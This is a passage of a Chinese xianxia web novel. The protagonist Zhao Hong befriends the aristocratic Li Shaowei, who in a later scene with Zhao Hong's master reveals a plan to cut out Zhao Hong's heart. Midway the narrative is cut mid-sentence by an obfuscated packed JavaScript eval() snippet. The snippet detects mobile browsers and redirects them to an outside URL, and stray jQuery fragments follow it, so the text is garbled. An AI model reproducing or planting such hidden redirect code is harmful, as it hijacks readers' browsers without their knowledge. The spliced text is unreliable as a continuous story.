照泓这下不好拒绝,就将牡丹花簪子细细地给女人簪上:“道友,你看这样如何?”
“什么道友不道友的。”见簪子簪上,女人脸上浮出一点笑来,她一笑,那双瑞凤眼下的金泪虚虚颤动,荡开涟漪,叫人挪不开眼,又叫人无法逼视。“我姓李,叫李少微。”
李少微看照泓神情只是略微思索,没什么大反应,就知道这人八成不知道自己是谁。当下心里很不痛快,手指笼在袖子里一勾,照泓只觉得猛然一股大力,推得她往后踉跄了好几步,一身灵力运转,这才堪堪停住。
“你怎么了?”李少微一副关切模样,照泓摇了摇头,心下登时升起好几个念头,每一个都没有什么好结果,当即就要告辞。
李少微真不知道这人怎么能这么知进退地叫自己生气,自己还没叫人这样避之不及过!
“不都说了咱们是要往一处去。”李少微起了身,“更何况姓名交换,我交了,你换的呢?”
照泓有了计较:“我叫照泓,是谅国人士,李姐姐说要往一处去,可是要去赵王宫?”
“什么姐姐,我不爱这种叫法,叫我少微就成了。”李少微说完,明知故问道,“你是和赵氏有什么渊源?”
“是赵氏礼遇我师尊,约着一块去中无涯州。”照泓道。
李少微察觉到她嘴紧,问是问不出什么的,一下子意兴阑珊,觉得这人又是烦人又是没趣,皮相是不错的,但一张脸又当不了饭吃,索性不说话了,驾起遁光,一道白金色的长虹贯出,一下便在黯黯夜里失了踪影。
照泓当下没反应过来,下意识地想追,转念一想,不由得为自己这念头笑了,一场小拍卖近了尾声,她就继续慢慢地沿着街道往前走。
不过几瞬的工夫,那道遁光折返回来,李少微落在她面前:“唉,你这人!”
照泓委婉道:“道友要是有事在身就先行一步,不必顾忌我。”
李少微万没想到照泓居然能说出这种话,脸上神情一变,那滴金泪也跟着摇晃,愈发的光艳灼灼:
“你这人怎么这么没趣!琅嬛飨雪殿和我宗门极亲,早就听说濯雪君难得收了名徒儿,想见上一面同你结识一下的,结果你倒是和赵知韫上浮白斋吃酒去了,害得我在外面一阵好等。发簪都知道掉在你脚下,你怎么就不通个人情的,还避我如蛇蝎?”
照泓这一下是真没料到,那李少微一张脸孔严肃的时候英气勃勃,如今生动起来,宜喜宜嗔。
“我没那个意思。”照泓解释道,“就是我刚入道,又不曾交过什么朋友……”
她不知道能不能说的话向来不说,对于这些无关紧要的,总是诚恳真挚至极。
皇室规矩严格,再加上她流落在外多年,光是生存就已经费尽全力,自然没有闲暇和余力去交朋友,这方面的人情世故,便稍微欠缺了一点。
“这样好啊!”李少微倒显得很惊喜,金泪华光一放,刺得照泓眼睛生疼,“那我来做你第一个朋友好了!”
说着,用手指在眼下一捏,一股沁人心脾的甘甜芬芳涌出来,李少微竟然将眼下那滴金泪取了下来,托在了掌心,狡黠笑道:“投之以发簪,报之以甘泪,算是送给你的见面礼,收着吧。”
“这我不能收。”这东西一看就无比珍贵,照泓是有数的。
李少微小姐脾性,一听这话就不乐意:“我是你第一个朋友,你这都不收,我们怎么亲近起来?”
照泓心下正为难,目光一转,颊边露出一点淡笑来,上前几步,走到一个小摊前面。
这小摊上卖的是一种小吃,叫作冰糖香水苹果。用的是瀚国特产的香水苹果,裹了一层冷冰糖,清凉爽口,甜蜜馨香。
李少微站在原地,看着那个少年一手举了一支冰糖苹果,笑盈盈地递到她手里一支:“少微,这就当作咱们的见面礼啦!”
李少微活了二十几年,别说吃过了,碰都没碰过这种一张灵钱一份的低劣小吃,一时之间伸不出手去接,照泓担心她是不愿意,还想着送那贵重礼物,就把冰糖苹果往她手里一塞,自己嘎嘣咬了一口:“你尝尝,好甜。”
“有那么好吃吗?”李少微扑哧一声笑了,降尊纡贵地用嫣红舌尖舔了舔糖壳,抱怨道,“哪好吃了,那么甜。”
“就是甜才好吃啊。”照泓和她并肩往赵王宫走,想起自己在皇城外最爱吃的青甜穗,形如麦穗,在野外稀稀落落地长着,嚼着甜中带涩。
天上法光没那么厉害,双方偃旗息鼓的时候,她就俯下身子跑出去,摘上一大捧回来,让娘和自己一块嚼。
“太甜了才不好吃呢。”李少微道,“要没那么甜才好吃,等去了中无涯州,我请你吃灵糕,叫你好好尝尝菽椒坊弟子的手艺。”
“好啊。”照泓又咬了一口苹果,她是不知道李少微那番想和她结识的话是真是假,可这一会儿相处下来,只觉对方大方明媚,叫人很难生出恶感,“我还没尝过呢。”
李少微道:“那不又是第一次啦?”
她这人最爱一个独特,一样东西都不肯和别人重,就连和人交往也是,朋友要做第一个,什么都要是头一个。
当即是兴致勃勃:“你还有什么没做过的,说来叫我听听!”
“那可多了。”照泓道,“我现在几乎什么都没做过呢。”
李少微一双瑞凤眼亮闪闪的:“你可别说了,一高兴我又想把那滴甘泪送你了,这怎么办?”
照泓忍不住笑:“那我收不起的。”
“你这话未免太直接了吧。”李少微道,“你怎么一会儿嘴严没趣,一会儿又嘴快没趣的?”
照泓抿着笑:“都是没趣?”
“都是没趣。”李少微不假思索。这人的没趣简直是从骨子里透出来的,一副恪己守礼的模样,能有什么趣味?
照泓倒不生气,她从来也不觉得自己是什么好玩有趣的人,略想了一想,很认真地问李少微:“那你还想同我做朋友吗?”
李少微见她手里的苹果吃完,就把自己咬了一口的苹果塞了过去:“你这人,是真问这个,还是试探我呢?怀疑我居心不良呀?”
照泓举着个被咬了一口的大冰糖苹果瞧着她,一张脸上婴儿肥还没褪下去,总显得有些懵懂天真。
李少微心内笑得前仰后合,嘴上将错就错:“有趣没趣,和做朋友有什么关系?我身边有趣的人多了,还是第一个碰着你这没趣的呢!”
她握住照泓的手腕,把苹果递到照泓唇边,低声道:“好吧,而且我是对你挺好奇的。现在都说你身上有件异宝,你人还在北俱芦洲,消息都传到中无涯州去了。”
她这么一说,照泓心里反倒一松,咬了一口冰糖苹果。
李少微见她那八风不动的模样更来劲了,肩膀靠住照泓的肩膀,悄悄地问:“你偷偷告诉我,到底是什么宝贝?能称异宝的也就那几件,能预兆未来的斑星盘,能操控时间的光阴桨,还是叩清心障的问心璧?”
照泓道:“这可不能告诉你。”
李少微当即不靠着她了,要离她远远的:“你这人,吃了我的冰糖苹果,怎么说出的话那么不甜呢?你师尊肯定一早就知道你身上是什么了,偏偏不和我说!”
“这冰糖苹果是我送给你的啊。”照泓慢条斯理地说。
“送给我了不就是我的!”李少微理直气壮,“吃了我的嘴短,你嘴怎么那么长呢,比东胜神洲的狐狸嘴筒子还长!”
她说话天马行空的又十分可爱,照泓平时不算很爱说话的人,这时候也和她你一言我一语地打闹了起来:“你见过东胜神洲的狐狸?我听说那儿的狐狸原形都很美,你说这话,叫狐狸听见了可饶不了你。”
“还狐狸饶不了我呢,我饶不了狐狸是真的。”李少微伸手夺过那支冰糖苹果,不叫照泓吃了,“明明一个个的嘴筒子就是很长,不过跟你比起来都逊色,你要是妖,一定是远东掠猎犬,那嘴筒子,都长到天上去了!”
两人也不驾遁光,就这么说说笑笑,一路回了赵王宫,分别之前,李少微又把冰糖苹果塞了回去,嫣然笑道:“太甜了,还是送给你吃啦。”
她摆摆手,身姿如同金彩,斑斓远去了。
她刚走,赵知韫不知道从哪里冒了出来,脸色微微苍白,语气还是很热情:“泓妹回来了!正好我带你去你住的承露台,你师尊就住在旁边的紫宸宫。”
照泓方才就有猜测,这会儿求证道:“赵姐姐,你说的那位神秘客人,是不是一位眼下有金泪的姐姐?”
赵知韫跟着她看完了全程,明知故问:“是啊,妹妹今天碰见她了?”
照泓笑道:“对,我出了浮白斋碰见的,也是有缘分。”
赵知韫陪着笑,一句话也不敢多说了。
以紫宸宫为主的一片宫殿楼阁都是为宾客准备,灵机充沛,布置奢华又不失雅致。
照泓先去紫宸宫见师尊,别馥浓已经摘了簪,一头长发垂落,正坐在桌边看书。
她不打扰师尊,静静地站到了桌旁,别馥浓的目光从书页上移开,仰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495623|202483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起脸来看她:“脸还红着呢。”
照泓下意识地摸了摸脸:“喝了两小杯的灵酒,现下灵力已经差不多化开了。”
“过来。”别馥浓道,让照泓凑近一步,伸手按在她小腹上,替她梳理灵气,“浮白斋的灵酒不少不错,有的蕴含灵机极浓稠,性子又烈,难免在经脉乱窜,全化开了也要多梳理两次。”
她梳理完,将手移到照泓的心口,问心跳动的玄奥韵律隔着羽衣和衫子,蓬勃地透出来,震得她的手心和心脏同样同频震动。
这样虽无叩清心障的作用,但隔靴搔痒,起码能令识海清明。然而别馥浓心神迷醉,那双摄人心魄的眼睛都合上了,声音轻轻的:“泓儿,问心在心脏里,可有什么不舒服的地方?”
“没什么不舒服的。”照泓乖乖地说,“平时几乎没有感觉。”
一般情况下,问心不会让她产生任何异样的感觉,只有当她心神不稳的时候,问心即刻叩问,令得她直面本心,再无动摇。
还有垂仙君那次,她脑海混沌,也是问心寒气上行,让她保持住灵台一线清明,不受神通蛊惑。
别馥浓低低地嗯了一声,她不敢放出灵力,叫问心察觉,几息的工夫,手就从照泓心口撤开,温柔地探上去,摸了摸照泓的脸颊:“去吧,这几天尽可以出去玩玩,不必这么苦修。”
她根本不在意照泓成器不成器,比起那东西,她更想要照泓的全心敬爱。
照泓却像听出了什么言外之意似的,立刻表决心:“师尊,我这几天一定潜心修炼,我听说攀天道场徒儿都是要上场斗法的,正好赵姐姐请我切磋练习,我一定不叫师尊失望。”
别馥浓不由得一笑,温声道:“去吧。”
照泓走了,月亮也升上了中天,她却不打算入定修炼,仍是慢悠悠地看着书。
果然,没一会儿,一个女孩钻了进来,笑吟吟地叫她:“姨母,好久不见!”
别馥浓将书合上:“少微,好久不见,又是大有进益了。”
她上次见李少微的时候,对方刚铸成仙基,这才几年不见,一道仙基已经凝炼得浑厚无比,纵是背景通天,也足见其天赋惊人了。
李少微坐到她身旁,很自来熟地去看她手边的书:“《太上三天正法经》……这东西早就没传承传下了,只有这一道典籍,这么多年都没人破得开,不过姨母天赋非同凡响,搞不好能悟出什么妙法呢!”
她随口捧了一句,显然没什么耐心,很快就直入主题:“姨母,你想把那枚问心璧怎么样啊?”
别馥浓挑起目光看了她一眼:“我说赵氏怎么来了一位神秘宾客,原来是你为了问心千里迢迢地过来了,这倒是稀罕事。”
李少微和照泓说,两家宗门关系极亲,这倒不全是瞎话。洞天七擎中魔道道统有两条,一条是琅嬛飨雪殿,一条就是她的无归山。
别馥浓惊讶的是,李少微是人和牡丹的混血,出生之时一颗心脏是一枚明光闪闪的肉芯子,外头牡丹鲜花枝叶缠绕,自生七窍,是一颗天然的玲珑心,向来是随心所欲,无法无天。天下绝大部分人都渴望问心,而她是不大需要问心的那寥寥几个之一。
“我娘的生辰快到了,我想寻一件天下绝无仅有的礼物送她。”李少微道,“姨母,你要是愿意同我一道送这份礼物的话也是可以的。”
她这话还真不是托大,能被她称为娘的,只有一个,就是她的亲生母亲,目前这方世界唯一的合道者,妖帝秦瑛。
可她这话里隐隐含了一点睥睨,即便有如此资本,别馥浓也是暗暗不喜的。
更何况她算得上是白芍点拨,白芍和牡丹当初因为一首诗弄得脸上不大好看,即便同为植株,同气连枝,当初那些事现在也不提,总归是些龃龉。
“问心咽进心脏,轻易取不出来,没有万全的法子。”别馥浓轻声细语地说,她没必要得罪这位比燕王宫还势大的真公主,“少微,你还是再想想,更何况玉精天即将降世,里头的好东西数不胜数,不必太急。”
“不是万全的法子便不是呗。”李少微眼下那枚金泪簌簌颤动,放出一道一道的金波来,衬得她那张脸明艳灼人,更有一种近乎欢喜的残忍。
“直接将那颗心连带着问心掏出来,用秘法维持着活性,放在[赤水玄珠匣]里呈上去,多么美丽!这一甲子是泉中水,水德充沛,我娘的生辰定然全是黑牡丹。”
她甜蜜一笑,像是光想象那样的场景,就已经十分陶醉:“这么大喜的时刻,怎么能不装点些红呢?”